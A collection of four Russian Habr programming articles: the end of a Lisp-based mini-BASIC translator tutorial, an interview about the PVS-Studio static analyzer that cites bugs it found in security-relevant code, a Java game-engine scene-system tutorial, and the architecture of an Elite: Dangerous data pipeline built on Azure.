Трансляция завершится “падением” транслятора! Падение вызовет оператор y=-x. В чем же дело? В унарном минусе! Преобразовывая формулу из инфиксной формы в префиксную, мы как-то не подумали о том, что минус “двулик” – бывает бинарный минус (знак операции), а бывает унарный минус (знак числа). Наш парсер не знает этой разницы – он все минусы считает бинарными… Что же теперь делать? Чтобы не рушить уже работающий код, давайте превратим все унарные минусы в бинарные. Как? А очень просто. Ведь вполне очевидно, что унарный минус “живет” только в таких конструкциях:
“(-нечто”
“>-нечто”
“<-нечто”
“=-нечто”
ну, и в самом начале формулы он тоже может встретиться. Поэтому если перед разбивкой на лексемы мы выполним вот такие замены:
“(-нечто” => “(0-нечто”
“>-нечто” => “>0-нечто”
“<-нечто” => “<0-нечто”
“=-нечто” => “=0-нечто”
а если формула начинается с минуса, припишем в начало формулы нуль, то все минусы станут бинарными и ошибка будет устранена радикально. Давайте назовем функцию, которая будет делать приведенное выше преобразование, именем “prepro”. Вот как она может выглядеть:
```
(defun prepro (s)
(let* ((s0 (if (eq "-" (strLeft s 1)) (strCat "0" s) s))
(s1 (strRep s0 "(-" "(0-"))
(s2 (strRep s1 "=-" "=0-"))
(s3 (strRep s2 ">-" ">0-"))
(s4 (strRep s3 "<-" "<0-")))
s4))
```
Особые комментарии здесь не требуются. Но у нашего простого парсера есть еще одна не вполне очевидная на первый взгляд беда – двойные знаки операций. При работе с формулами знаки “>” и “=” стоящие рядом, означают одну операцию “>=” (и должны составлять одну лексему!). Парсер этого знать не желает – он каждый из знаков сделает отдельной лексемой. Справиться с этой проблемой можно, просмотрев список полученных лексем, и если соответствующие знаки стоят рядом – выполнив объединение. Назовем функцию, которая будет выполнять объединение именем “postpro”. Вот код возможной реализации:
```
(defun postpro (lex-list)
(cond ((null (cdr lex-list)) lex-list)
(t (let ((c1 (car lex-list))
(c2 (cadr lex-list)))
(cond ((and (eq c1 ">") (eq c2 "=")) (cons ">=" (postpro (cddr lex-list))))
((and (eq c1 "<") (eq c2 "=")) (cons "<=" (postpro (cddr lex-list))))
((and (eq c1 "=") (eq c2 "=")) (cons "==" (postpro (cddr lex-list))))
((and (eq c1 "<") (eq c2 ">")) (cons "<>" (postpro (cddr lex-list))))
((and (eq c1 ">") (eq c2 "<")) (cons "<>" (postpro (cddr lex-list))))
((and (eq c1 "!") (eq c2 "=")) (cons "/=" (postpro (cddr lex-list))))
((and (eq c1 "/") (eq c2 "=")) (cons "/=" (postpro (cddr lex-list))))
(t (cons c1 (postpro (cdr lex-list)))))))))
```
Тоже, как видим, ничего особенного. Но теперь окончательная функция перевода оператора во внутреннюю списковую форму будет выглядеть так:
```
(defun mk-intf (txt)
(let ((lex (postpro (parser (prepro txt) " ," "()+-*/\^=<>%")))
(intf ""))
(iter (for a in lex) (setq intf (strCat intf a " ")))
(try
(input (strCat "(" intf ")"))
except
(progn
(printsline (strCat "**** " (errormessage)))
`(,txt) ))))
```
А сейчас давайте взглянем критически на функцию inf2ipn. Какие ошибки пользователя могут её “свалить”? Несбалансированность скобок мы уже отсекли выше. Что может быть еще? Два знака операции или два операнда, стоящие подряд. Можно было бы проанализировать это в коде inf2ipn (и желающие могут это проделать самостоятельно). Мы же “отловим” эти ошибки на этапе преобразования формулы из ОПЗ в префиксную. И давайте (на всякий случай) будем перехватывать все ошибки, которые могут возникнуть в процессе преобразования формулы из инфиксной формы в префиксную. Самое лучшее место для этого – функция-оболочка i2p. Теперь она может выглядеть так:
```
(defun i2p (f)
(try (ipn2pref (inf2ipn f))
except (progn (printsline "**** Ошибка в записи выражения")
(printsline (strCat "**** " (errormessage)))
(setq *flagerr* t) nil)))
```
А теперь предотвратим появление в формулах двух знаков операции или двух операндов подряд. В предыдущей статье описан алгоритм перевода формулы из ОПЗ в префиксную форму. Признаком корректности завершения этого алгоритма является то, что на последнем шаге в стеке должно содержаться единственное значение. Если это не так – значит была допущена ошибка. И еще одна ошибочная ситуация возникает в том случае, когда функция вызывается с неверным (большим или меньшим) числом параметров. Эти ситуации следует “отловить”:
```
(defun ipn2pref (f &optional (s nil))
(cond ((null f) (if (null (cdr s)) (car s)
(progn (printsline "**** Ошибка в записи выражения")
(setq *flagerr* t) nil)))
((numberp (car f)) (ipn2pref (cdr f) (cons (car f) s)))
((is-op (car f))
(let ((ar (arity (car f))))
(if (< (length s) ar)
(progn (setq *flagerr* t)
(printsline "**** Ошибка в записи выражения") nil)
(ipn2pref (cdr f)
(cons (cons (car f) (reverse (subseq s 0 ar)))
(subseq s ar))))))
((atom (car f)) (ipn2pref (cdr f) (cons (car f) s)))
(t (ipn2pref (cdr f) (cons (list (car f) (car s)) (cdr s))))))
```
Теперь посмотрим “критическим взглядом” на обработчик оператора proc. Мы явно упустил два момента. Первое, что следует сделать, это не забыть при обработке процедуры вычислить её арность (количество аргументов) и соответствующим образом модифицировать глобальную переменную \*oplist\*. А второе заключается в том, что генерируемые нами функции не возвращают правильного значения! Точнее, в качестве результата сгенерированных нашим транслятором функций будет возвращаться значение последней формы, вычисленной перед возвратом. Чтобы гарантировано возвращать нужное значение, предлагаю перенести из Паскаля переменную result. Теперь, при необходимости вернуть нужное значение, пользователю достаточно перед выходом из функции присвоить этой переменной нужное значение, а нам необходимо при генерации тела функции вставить имя result в тело функции последним выражением. Все это приводит функцию action-proc к виду:
```
(defun action-proc (fi)
(let ((stmt nil)
(proc-name nil)
(proc-parm nil)
(loc-var nil)
(lv '((result 0)))
(body nil))
(loop
(setq stmt (mk-intf (getLine fi)))
(when (null stmt) (return t))
(cond ((eq (car stmt) 'proc)
(setq proc-name (nth 1 stmt))
(setq proc-parm (nth 2 stmt))
(setq *oplist* (cons (list proc-name (length proc-parm)) *oplist*)))
((eq (car stmt) 'end_proc) (return t))
((eq (car stmt) 'print)
(setq body (append body (list (cons 'printline (cdr stmt))))))
((eq (car stmt) 'input)
(setq body (append body (list (list 'setq (cadr stmt)
(list 'read) )))))
((eq (car stmt) 'local)
(setq loc-var (append loc-var (cdr stmt))))
((eq (cadr stmt) '=)
(setq body (append body (list (action-set stmt)))))
(t (printsline (strCat "**** Оператор " (output stmt) " не распознан"))
(setq *flagerr* t))))
(iter (for a in (setof loc-var)) (collecting (list a 0) into lv))
(if proc-name `(defun ,proc-name ,proc-parm (let ,lv ,@body result)) nil)))
```
На этом мы пока остановимся (хотя проблемы нам еще встретятся, и код придется дорабатывать; но таков уж удел программиста…) А сейчас рассмотрим два улучшения нашего языка, которые уместно внести именно сейчас.
### Мелкие улучшения…
В предыдущей статье я писал, что программисту неудобно, если в языке один оператор занимает ровно одну строку. Нужно обеспечить возможность записывать громоздкие операторы на нескольких строках. Давайте это реализуем. Сделать это совсем нетрудно. В процедуре getLine заведем локальную переменную, в которой будем накапливать прочитанный текст (при условии, что это не комментарий и оканчивается на пару символов “ \_”. Как только зафиксирована значимая строка с другим окончанием – возвращаем накопленное в качестве значения. Вот код:
```
(defun getLine (fil)
(let ((stri "") (res ""))
(loop
(when (filEof fil) (return ""))
(setq *numline* (add1 *numline*))
(setq stri (filGetline fil))
(printsline (strCat (format *numline* "0000") " " (strRTrim stri)))
(unless (or (eq "" stri) (eq "*" (strLeft stri 1)))
(setq stri (strATrim stri))
(if (eq " _"(strRight stri 2))
(setq res (strCat res (strLeft stri (- (strLen stri) 2))))
(setq res (strCat res stri)))
(unless (eq " _"(strRight stri 2)) (return res))))))
```
И последнее улучшение. Во многих языках программирования можно в арифметических выражениях использовать логические операнды (которые в этом случае вычисляются до нуля или единицы). Это придает языку дополнительную выразительность и, кстати, вполне соответствует духу бэйсика. В нашем же мини-бэйсике попытка вычислить вот такое, к примеру, выражение:
```
z=(x>y)*5+(x<=y)*10
```
вызовет ошибку времени выполнения. И это понятно: в Лиспе выражение (> x y) вычисляется до Nil или T. А Nil/T нельзя умножить на 5… Однако, этой беде легко помочь. Давайте напишем несколько простых макро, которые заменят результат выражений сравнения на 0/1 (вместо Nil/T):
```
(defmacro $= (x y) `(if (= ,x ,y) 1 0))
(defmacro $== (x y) `(if (= ,x ,y) 1 0))
(defmacro $> (x y) `(if (> ,x ,y) 1 0))
(defmacro $< (x y) `(if (< ,x ,y) 1 0))
(defmacro $/= (x y) `(if (/= ,x ,y) 1 0))
(defmacro $<> (x y) `(if (/= ,x ,y) 1 0))
(defmacro $<= (x y) `(if (<= ,x ,y) 1 0))
(defmacro $>= (x y) `(if (>= ,x ,y) 1 0))
```
А теперь взглянем на строку в функции ipn2pref, которая выполняет обработку операции. Вот эта строка:
```
(ipn2pref (cdr f) (cons (cons (car f) (reverse (subseq s 0 ar))) (subseq s ar)))
```
Здесь (car f) – имя операции. Напишем крохотную функцию замены кодов сравнения:
```
(defun chng-comp (op)
(if (member op '(= == /= <> > < >= <=)) (implode (cons '$ (explode op))) op))
```
Функция проверяет, является ли ее аргумент операцией сравнения, и, при необходимости, добавляет в начало символ “$”. А теперь вызовем ее в нужном месте функции ipn2pref:
```
(ipn2pref (cdr f) (cons (cons (chng-comp (car f)) (reverse (subseq s 0 ar))) (subseq s ar)))
```
Что получится в результате? Операции сравнения будут заменены на вызовы соответствующих макро, а все прочие операции не изменятся. Если протранслировать вот такую функцию:
```
proc test()
local x,y
x=1
y=2
result=(x>y)*5+(x<=y)*10
end_proc
```
а затем вызвать ее, то получим вполне ожидаемый результат.
На сегодня – всё.
Код к этой статье расположен [**здесь**](https://yadi.sk/d/BrEyvX7mM3VqAA)
Продолжение следует. | https://habr.com/ru/post/423663/ | null | ru | null |
# По мотивам «трёх интервью о статических анализаторах», или четвертое интервью
Примерно неделю назад на Хабре мною была опубликована статья "[Три интервью о статических анализаторах кода](http://habrahabr.ru/company/pvs-studio/blog/238341/)", в которой на читательский суд были представлены точки зрения опытных программистов из Acronis, AlternativaPlatform и НПО «Эшелон» о методике разработки ПО, а также некоторые их размышления относительно использования статических анализаторов кода.
Поскольку спонсором статьи выступила компания ООО «СиПроВер» — разработчик статического анализатора [PVS-Studio](http://www.viva64.com/ru/pvs-studio/), — я решил попросить Андрея Карпова (технический директор) также ответить на некоторые вопросы. А именно — прокомментировать интересные моменты всех трёх интервью. Плюс сделать обращение к коллегам и читателям. Получился вот такой интересный результат.
Комментарий относительно примечательных моментов в интервью Акрониса
--------------------------------------------------------------------
Пару раз на конференции при неформальном общении в холле или за обеденным столом меня спрашивали: «Неужели кто-то ещё программирует на Си++?». И искренне удивлялись, когда я отвечал: «да, и это один из самых используемых языков». Просто он как-то сегодня не на слуху. Кругом php, ruby, go. Кажется, что Си++ — это «было давно и не правда». И мне приятно, что люди лишний раз увидят в статье, что, например, Acronis Backup написан на Си++ и над этим постоянно трудится 70 программистов. Сам я о будущем Си и Си++ не переживаю. Мне просто удивительно, как так выходит, что многие считают Си++ мёртвым языком.
Приятно было также услышать, что в Acronis широко применяется практика Code Review. Часто этот метод повышения качества программ недооценивается, или считается, что он отнимает слишком много времени. Скупой платит дважды.
Кстати, я знаю по крайней мере один пример, когда иногда умножать sizeof на sizeof всё-таки имеет практический смысл. Например, такое умножение получается, когда один sizeof() используется для взятия количества элементов в массиве. Имеется в виду вот это:
```
template
char (&ArraySizeHelper(T (&array)[N]))[N];
#define arraysize(array) (sizeof(ArraySizeHelper(array)))
```
Такой 'arraysize' защищает от случайной передачи в качестве аргумента не массива, а обыкновенного указателя. Подробности [здесь](http://www.viva64.com/ru/a/0074/).
В результате, вполне может получиться конструкция вида: «sizeof(float) \* (sizeof(ArraySizeHelper(array)))». Но анализатор PVS-Studio знает про такие случаи и не выдаёт предупреждений.
Комментарий относительно примечательных моментов в интервью Альтернативы
------------------------------------------------------------------------
С Java я не знаком, поэтому не могу прокомментировать, насколько хорошо язык защищает от ошибок. Конечно, уже одно отсутствие ручного управления памятью сильно упрощает жизнь. Однако, я думаю, часть ошибок не зависит от языка. Например, если это [результаты Copy-Paste](http://www.viva64.com/ru/b/0260/). Думаю, использование статического анализатора для поиска опечаток было бы весьма уместно и для Java. Но я опять-таки не знаю, что предлагают для Java существующие анализаторы кода.
Комментарий относительно примечательных моментов в интервью НПО Эшелон
----------------------------------------------------------------------
Сразу чувствуется немного казённый стиль написания текста. Видимо, накладывает отпечаток специфика работы и тип документов, которые приходится подготавливать. С одной стороны, мне не нравятся такие тексты, так как их скучно читать. С другой стороны, я завидую. Текст производит ощущение солидности и серьезности проделываемой работы. У нас такого про PVS-Studio нет. Мы много пишем статей про использование PVS-Studio, но почти ничего про сам анализатор и как он важен. Надо будет тоже попробовать пописать о PVS-Studio солидные тексты описательного плана.
Кстати, пользуясь случаем, хотел поднять вот какую тему. Наши пользователи или потенциальные пользователи совершенно не рассматривают PVS-Studio как инструмент, способный находить уязвимости. Я этого не понимаю. Да, мы не ищем закладки в коде. Мы ориентированы на поиск ошибок, а не дефектов, которые делают ПО уязвимым. Но всё равно я не понимаю такое деление на белое и чёрное. Ведь многие ошибки можно точно так же рассматривать как уязвимость. Достаточно только посмотреть на ошибку под другим углом.
Возьмём, например, проект UltimateTCPIP и найдем в нём с помощью PVS-Studio вот такую ошибку:
```
char *CUT_CramMd5::GetClientResponse(LPCSTR ServerChallenge)
{
...
if (m_szPassword != NULL)
{
...
if (m_szPassword != '\0')
{
...
}
```
V528 It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: \*m\_szPassword != '\0'. UTMail ut\_crammd5.cpp 333
Мы говорим о такой ошибке просто, как об опечатке. Забыли разменивать указатель. В результате не выполняется проверка, что строка пустая. Код должен был быть таким:
```
if (*m_szPassword != '\0')
```
Но ведь, с другой стороны, это самая настоящая уязвимость. Оставим в стороне вопрос, можно ли этой уязвимостью воспользоваться и насколько она опасна. Главное то, что проверка на опечатку может выявить самую настоящую дыру в безопасности. Мало ли что пойдёт не так, если программа начнёт работать с пустым паролем.
Или ещё пример из PostgreSQL:
```
char *
px_crypt_md5(const char *pw, const char *salt,
char *passwd, unsigned dstlen)
{
....
unsigned char final[MD5_SIZE];
....
/* Don't leave anything around in vm they could use. */
memset(final, 0, sizeof final);
....
}
```
V597 The compiler could delete the 'memset' function call, which is used to flush 'final' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. pgcrypto crypt-md5.c 157
Здесь PVS-Studio обнаруживает, что массив 'final' не обнуляется перед выходом из функции. Почему так, можно узнать из описания диагностики [V597](http://www.viva64.com/ru/d/0208/).
Вот мне и непонятно, почему диагностики PVS-Studio являются «недостаточно выявляющими уязвимости».
Ваше видение относительно будущего статических анализаторов кода
----------------------------------------------------------------
В целом со статическим анализом всё хорошо. Инструментарий в этом направлении быстро развивается и набирает большую популярность.
Хотелось бы, чтобы в России это тоже происходило побыстрее. У нас практически нет рынка для инструментов статического анализа. Об этом можно судить хотя бы по количеству посещений нашего сайта, скачиванию демонстрационных версий и статистике продаж. Половину всей активности создают посетители из России. Но количество российских клиентов составляет не 50%, а только чуть-чуть. Печально.
Обращение к читателям и коллегам по цеху
----------------------------------------
Текст в духе «используйте в работе статический анализ» прозвучит банально. Поэтому подниму нестандартную тему.
Желаю удачного общения между начальниками и подчинёнными. Часто указания начальства выглядят по меньшей мере странными. Но следует учитывать, что начальник часто обладает большим объёмом знаний по проекту в целом. И то, что кажется странным подчинённому, на высоком уровне может быть очень полезным или просто вынужденным. К сожалению, начальники программистов часто сами являются выходцами из программистов и потому тяготеют к интроверсии. Другими словами, ставя задачу, они не считают нужным объяснить, зачем всё это надо. Их надо понять и простить. А потом, задавая вопросы, понять, чем вызвано такое странное распоряжение. Скорее всего, начальник не против будет объяснить. Он просто забыл про это или «оптимизировал» время общения, сведя комплексную задачу к «сделай так». Соответственно, желаю и руководству не забывать объяснять свои шаги и решения.
И спасибо организатору интервью.
Заключение
----------
Итак, уважаемые читатели, можно сказать, что бонусные материалы были только что продемонстрированы Вам. Автор надеется, что Вам было интересно. На этом разрешите откланяться. Пишите качественный код и пользуйтесь самым широким спектром полезных инструментов. Всего доброго! Не прощаемся. | https://habr.com/ru/post/239407/ | null | ru | null |
# Создание системы сцен для игрового движка
Предисловие
-----------
В настоящее время я работаю над собственным игровым движком. С использованием минимального количества сторонних библиотек, после реализации игрового цикла (game loop), отрисовки кадра, функции «update», загрузки текстур и пр., основная «начинка» движка была готова. Пришло время реализации еще одной важной составляющей — сцены (scene).
Введение
--------
В статье я предполагаю, что движок уже оснащен игровым циклом с «callback»-функциями. Весь код будет написан на Java, но может быть легко перенесен на любой другой язык, поддерживающий [garbage collection](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)). Что-ж, приступим.
Что уже есть
------------
Как упоминалось ранее, мы уже располагаем игровым циклом. Пусть он выглядит примерно так:
```
void awake() {
RenderUtil.init(); // настройка параметров OpenGL
run();
}
void run() {
// game loop
// ...
// прочитать input, обновить frame rate и т. п.
//
if (Window.isCloseRequested()) { // если игру закрыли
stop();
return;
}
update();
render();
}
```
Реализацию методов render() и stop() я приведу чуть позже.
Определяем сцену
----------------
Прежде чем начинать писать класс для сцены, необходимо решить, что она будет собой представлять. В моем случае это объект, включающий в себя множество игровых объектов. Оторвитесь на секунду от чтения и посмотрите вокруг себя: все, что вы видите (почти), мы назовем игровыми объектами, а где находитесь — сценой.
Что я подразумеваю под игровым объектом? Это объект, реализующий «callback»-функции игрового цикла. Для тех, кто знаком с [Unity3D](https://unity3d.com): аналогия с объектом, класс которого реализует MonoBehaviour.
Пусть этот самый игровой объект представляется интерфейсом (или абстрактным классом — в зависимости от нужного функционала), который мы назовем **GameListener** (опять же, в данной статье я подразумеваю, что этот класс уже так или иначе реализован).
Примитивная реализация интерфейса может выглядить следующим образом:
```
public interface GameListener {
void start() ; // вызывается, когда игра началась
void update(); // вызывается каждый фрейм
void draw(); // аналогично update()
void destroy(); // вызывается, когда объект "отключается"
}
```
Количество функций зависит от нужной степени контроля, например, у Unity3D их [достаточно много](http://docs.unity3d.com/Manual/ExecutionOrder.html).
Реализуем класс Scene
---------------------
После определения архитектуры и строения нашей сцены, можно наконец-таки приступить к её реализации.
```
public abstract class Scene implements GameListener {
ArrayList gameListeners = new ArrayList<>();
public abstract void initializeScene();
public final void AddToScene(GameListener gameListener) {
gameListeners.add(gameListener);
}
public final void onInitializeScene() {
if (gameListeners.isEmpty())
initializeScene();
}
@Override
public final void start() {
for (GameListener gameListener : gameListeners)
gameListener.start();
}
@Override
public final void update() {
for (GameListener gameListener : gameListeners)
gameListener.update();
}
@Override
public final void draw() {
for (GameListener gameListener : gameListeners)
gameListener.draw();
}
public final void onDestroy() {
for (GameListener gameListener : gameListeners)
gameListener.destroy();
gameListeners.clear();
}
@Override
public final void destroy() {}
```
Комментарии я распишу по пунктам:
* Наших игровых объектов сцена хранит в коллекции ArrayList
* Метод **initializeScene()** — абстрактный. В нём мы будем добавлять игровых объектов в сцену, используя метод **AddToScene()** в нашем конкретном классе-сцене;
* Метод **onDestroy()** мы будем вызывать после смены/перезапуска сцены или закрытия игры. В нём мы очищаем сцену от игровых объектов, garbage collector позаботится об остальном (можно намекнуть JVM провести очистку, вызвав *System.gc()*);
Стоит заметить, что все методы (кроме initializeScene() естественно) помечены ключевым словом *final*, таким образом, в классе Scene пользователь движка может только добавить своих игровых объектов (такое ограничение пока вполне меня устраивает).
Преобразования в игровом цикле
------------------------------
Теперь необходимо провести преобразования в игровом цикле. Все они, по-сути, интуитивны.
```
Scene runningScene;
void awake() {
RenderUtil.init();
runningScene = SceneManager.getScene(0);
run();
}
void run() {
if (Window.isCloseRequested()) {
stop();
return;
}
runningScene.update();
runningScene.render();
}
void stop() { runningScene.onDestroy(); }
void render() { runningScene.draw(); }
```
Все наши созданные сцены мы можем добавить в массив, содержащийся, к примеру, в каком-нибудь классе, под названием **SceneManager**. Тогда он будет выступать в качестве контроллера нашей системой сцен, представляя методы *getScene()*, *setScene()* и т. п.
На данном этапе реализация системы очень сильно напоминает паттерн [«Состояние»](https://en.wikipedia.org/wiki/State_pattern). Так оно и есть.
Смена сцен
----------
Для смены сцен мы можем определить аналогичный экземпляр класса Scene в SceneManager:
`private static Scene currentScene;`
Далее напишем *setter* setCurrentScene(Scene):
`public static void setCurrentScene(Scene scene) { currentScene = scene; }`
Тогда в игровом цикле мы сравниваем *runningScene* с *currentScene* и, если они не совпадают, меняем сцену:
```
void run() {
if (Window.isCloseRequested()) {
stop();
return;
}
runningScene.update();
if (runningScene != SceneManager.getCurrentScene()) {
runningScene.onDestroy();
runningScene = SceneManager.getCurrentScene();
}
runningScene.render();
}
```
**Важно** не забыть вызвать метод *onDestroy()* текущей сцены для удаления её игровых объектов.
Реализация additive loading
---------------------------
В той же Unity3D [есть](http://docs.unity3d.com/ScriptReference/Application.LoadLevelAdditive.html) возможность «аддитивной» загрузки сцен. При таком методе объекты «старой» сцены не удаляются (в нашем случае — не вызывается метод **onDestroy()**), а новая сцена загружается «поверх» старой.
Этого можно достичь, например, создав контейнер, хранящий список загруженных аддитивно сцен. Тогда наряду с вызовом
`runningScene.update();`
нужно будет сказать что-то типа
`for (Scene additive : additives)
additive.update();`
и так далее.
Вызвать *onDestroy()* придется в случае перезагрузки/смены **основной** сцены (runningScene) или закрытия игры.
Архитектура, процедура добавления игровых объектов и самой сцены остаются такими же. | https://habr.com/ru/post/272161/ | null | ru | null |
# Elite: Dangerous и CosmosDB
o7 cmdr!
--------
Теплым карантинным вечером, в одном из телеграмных чатиков по Elite: Dangerous разгорелась дискуссия на тему: а у какого типа звезд чаще всего встречаются землеподобные планеты?
Дело в том, что исследование планет является одной из основных механик игры. А в иерархии полезности планет, землеподобные стоят на самом верху. Но и редкость их довольно высока. Так что командеры захотели узнать: на какие звезды прежде всего обращать внимание, при перемещении по млечному пути?
Из этого обсуждения родился целый проект, который я в итоге и похоронил. Нет, ответ на поставленный вопрос мы с его помощью нашли. Но проект мне по разным причинам не нравился и, спустя несколько месяцев прокрастинации, я запустил вторую итерацию. Что из этого получилось, а так же ответ на поставленный вопрос — в этой статье.
Вступление
----------
В элите огромная часть геймплея происходит, что бы вы ни думали, в браузере, с десятком открытых вкладок. Не будем рассуждать правильно это или нет, но, определенно, в этом есть свой шарм и многим это нравится.
Происходит это по той причине, что разработчики намеренно не включают определенный функционал в игровой клиент, что значительно усложняет жизнь пилотам. Но, Frontier Developments довольно отзывчивые люди и всегда идут на диалог со своими игроками. Благодаря этому у игроков появилась возможность создавать свой софт и сервисы, сильно упрощающие жизнь всем пилотам.
Что же они сделали? Спустя пару лет мытарств игроков, разработчики сделали Log-файл куда сбрасывается текущая активность пилота. А еще через пару лет они даже снабдили его документацией и поддерживают его до сих пор.
Сам файл(ы) располагаются в каталоге (на примере Windows):
> C:\Users\User Name\Saved Games\Frontier Developments\Elite Dangerous\
А документация по нему [тут](https://elite-journal.readthedocs.io/en/latest/). Она нам впоследствии сильно поможет. Т.к. я не обладаю версией клиента для PC (катаю на консоли) — все мои действия будут базироваться на этой и многих других документациях из этих ваших интернетов.
Итак, имеем файл, он мне немного не нравится, но на безрыбье и файл сойдет. Что дальше? Дальше ушлые пилоты-программисты написали кучу софта, который мониторит этот файл и делает с ним что нужно (в зависимости от конкретного софта, сохраняет данные сканов систем, планет, стоимости материалов на рынке, разведанных POI, etc).
Вот пример тулзин которые используют командеры на своих PC:
| Tool | Commander |
| --- | --- |
| E:D Market Connector | Otis B. |
| ED-Intelligent Boardcomputer Extension | Duke Jones |
| edce-client | Andargor |
| EDDI | VerticalBlank, Hoodathunk, T'Kael |
| EDDiscovery | Robby |
| Elite Log Agent | John Kozak |
| Elite G19s Companion app | MagicMau |
| Elite Virtual Assistant | |
| Trade Dangerous + EDAPI | orphu |
Но осталась проблема. Этой информацией надо как-то делиться. Причем так, чтобы и с тобой ей тоже делились. Дело в том, что элита это огромная игра, в ней смоделирован наш млечный путь целиком. А это значит, что там **400 миллиардов** звездных систем (систем, Карл! А в системах может быть несколько звезд и вагон планет). И игрокам понадобились инструмены позволяющие аккумулировать и анализировать информацию, собранную из лог-файла.
Тут на сцену вышли онлайн сервисы, заточенные как раз на это. Функционал многих сервисов выходит далеко за пределы возможностей предоставляемых этими логами (и это очень круто, кстати). Но нас интересует именно часть связанная с исследованиями в игре: нанес на карту новую систему, просканировал планету, узнал цены на текущей станции (ладно, торговлю тоже затронем) и т.п. Не буду тут описывать каждый детально, лишь отмечу, что самые популярные, в контексте текущего повествования, это — [EDSM](https://www.edsm.net/) и [EDDB](https://eddb.io/).
Все в этих сервисах чудесно, они буквально открывают новые горизонты при игре, за исключением одного — нет никакой возможности проводить собственную аналитику на основе их данных. И отсюда плавно переходим к обоснованию нашего проекта.
Обоснование
-----------
До некоторых пор EDSM предоставлял полный дамп звездных тел, но буквально пару месяцев назад эта ссылка с их сайта пропала. Я уверен, что если связаться с разработчиками, то они дампом поделятся. Но, чтоб вы понимали, дамп всех известных им на данный момент звездных тел — это **JSON файл на 10ГБ**. Дальше этот файл надо как-то распарсить и загрузить хоть в какую-нибудь СУБД. И да, хотелось бы чтобы эта СУБД не крутилась на домашнем вечно помирающем ноуте, а работала где-то далеко и стабильно и, желательно в облаках. И не стоит забывать, что это лишь статичный одноразовый дамп! А данные постоянно обновляются и дополняются.
*Особенно радует строчка с % исследованных систем. Это за 6 лет существования игры. Но сейчас не об этом.*
А сейчас о том, что хотим мы тоже собирать все эти данные, но уже в свою СУБД и мутить свою статистику и репорты с обновляемыми в реалтайме данными как цари. Анализировать, находить аномалии, закономерности и вот это все!
Итак, как уже было упомянуто выше, все эти данные собирают клиентские тулзины, которые используют пека-бояре (огромное им спасибо за это, серьезно). Дальше часть из них отправляет все это на EDSM, EDDB, etc. Но главное — все они отправляют эти данные в [EDDN](https://github.com/EDCD/EDDN). Это, как я считаю, очень элегантное решение, на котором будет базироваться весь наш солюшен.
Итак, что такое EDDN и что там по архитектуре солюшена? Поехали...
Архитектура
-----------
### Объяснение как устроена EDDN
Что такое EDDN — возьмем краткое описание из официального репозитория:
> The Elite: Dangerous Data Network is a system for willing Commanders to share dynamic data about the galaxy with others.
>
> By pooling data in a common format, tools and analyses can be produced that add an even greater depth and vibrancy to the in-game universe.
>
>
>
> EDDN is not run by or affiliated with Frontier Developments.
По факту это общая точка входа сообщений от клиентов и ретранслятор их в общий выходной канал (чтобы все заинтересованные могли получать реалтайм обновления от всех клиентов элиты).
Точкой входа является HTTP Endpoint `https://eddn.edcd.io:4430/upload/` но он нам не интересен (он для тех кто хочет засылать туда апдейты).
Нам инересен выходной канал. Это ретранслятор на основе [ZeroMQ](https://zeromq.org/) выкидывающий входящие сообщения по адресу `tcp://eddn.edcd.io:9500`. Все клиенты подключившиеся и слушающие этот канал будут получать сообщения отправленные в точку входа.
Выглядит это примерно так (пикчер бог да):
Все что нам нужно, это подключиться к каналу. Или не все? Нет, не все. Нужно понимать, что туда сыпятся сообщения от десятков (или сотен) тысяч игроков по всему миру постоянно! И да, это еще где-то надо хранить.
### Как будет работать солюшен
Итак, в моей голове родилась следующая архитектура будущего хозяйства:
*Сразу оговорюсь — вся инфраструктура построена на базе Microsoft Azure. Выбор был сделан не на основе каких-то объективных причин и разводить холивары я тут на эту тему не хочу. Просто как факт — используем Azure, а стэком для программирования будет dotnet core/standard*
Эта схема не претендует на хайлод-серверлесс-кубернетес-автоскейл бекенд и вот это все, но для курсача в швейном колледже сгодится.
Что же тут происходит, в двух словах:
#### 1. Message Distributor
Бэкграунд сервис который вешается на EDDN Channel сокет и ловит все сообщения появляющиеся в нем. В зависимости от типа сообщения (определяется по `schemaRef` проперти, но об этом дальше) — перенаправляет его в хранилище определенной очереди. Типов сообщений в EDDN всего 5:
* <https://eddn.edcd.io/schemas/journal/1>
* <https://eddn.edcd.io/schemas/blackmarket/1>
* <https://eddn.edcd.io/schemas/commodity/3>
* <https://eddn.edcd.io/schemas/outfitting/2>
* <https://eddn.edcd.io/schemas/shipyard/2>
Каждое направляется в свою очередь. Зачем это сделано? Ну, кроме того что это позволяет разгрузить обработчики сообщений (о них ниже), эти сообщения еще должны обрабатываться по разному, соответственно под них нужны разные обработчики. Сейчас у меня реализованы только сообщения типа `journal`, т.к. именно там появляются данные исследований и сканов (для чего все это и затевалось с самого начала). Но, разумеется, остальные типы тоже добавлю в скором будущем.
Итак, `MessageDistributor` берет сообщения из EDDN и перенаправляет их в нужную очередь. Это его единственная ответственность.
#### 2. Azure Storage Queue
Собственно хранилище которое аккумлирует в себе сообщения нужного типа и откуда процессоры их забирают на обработку (которые Message Processor а не тот, что в системнике). Эта сущность предоставляется нам ажурой как сервис, так что с ней ничего делать не надо. Просто создали `Storage Account` (один на всех) и пользуем его через connection string (кто хочет, может даже Azure AD, я пока по старинке). Очередей в одном Storage Account может быть много (сколько точно — не помню, но сильно больше, чем может понадобиться).
> Для разработки и локальной отладки может пригодиться [Azure Storage Emulator](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-emulator) и [Azure Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
#### 3. Message Processor
Это сущность, которая получает сообщение из определенной очереди, обрабатывает его согласно ее типу и отправляет на хранение в базу данных. Реализовано с помощь `Azure Function App`.
Честно говоря, это мой первый более-менее живой проект использующий ажурные функции и знаете что? Они офигенны.
Начнем с того, что Azure Function это по сути WebJob (тоже термин из ажуры, если что), но более гибкий. В отличие от вебждобов, Azure Function Runtime масштабирует количество инстансов функций автоматически в зависимости от размера текущей очереди (там есть еще много факторов и способов, но сейчас только в контексте данного проекта) — много сообщений накопилось — увеличит количество инстансов, очередь пустая — уменьшит. Платите вы только за время работы функции, т.е. если нечего обрабатывать — не платите ничего.
Да, с вебджобами, можно навернуть похожую масштабируемость (Scale Out), но, насколько я знаю, на основе каких-то более строгих метрик, типа CPU/Memory consumption, etc.
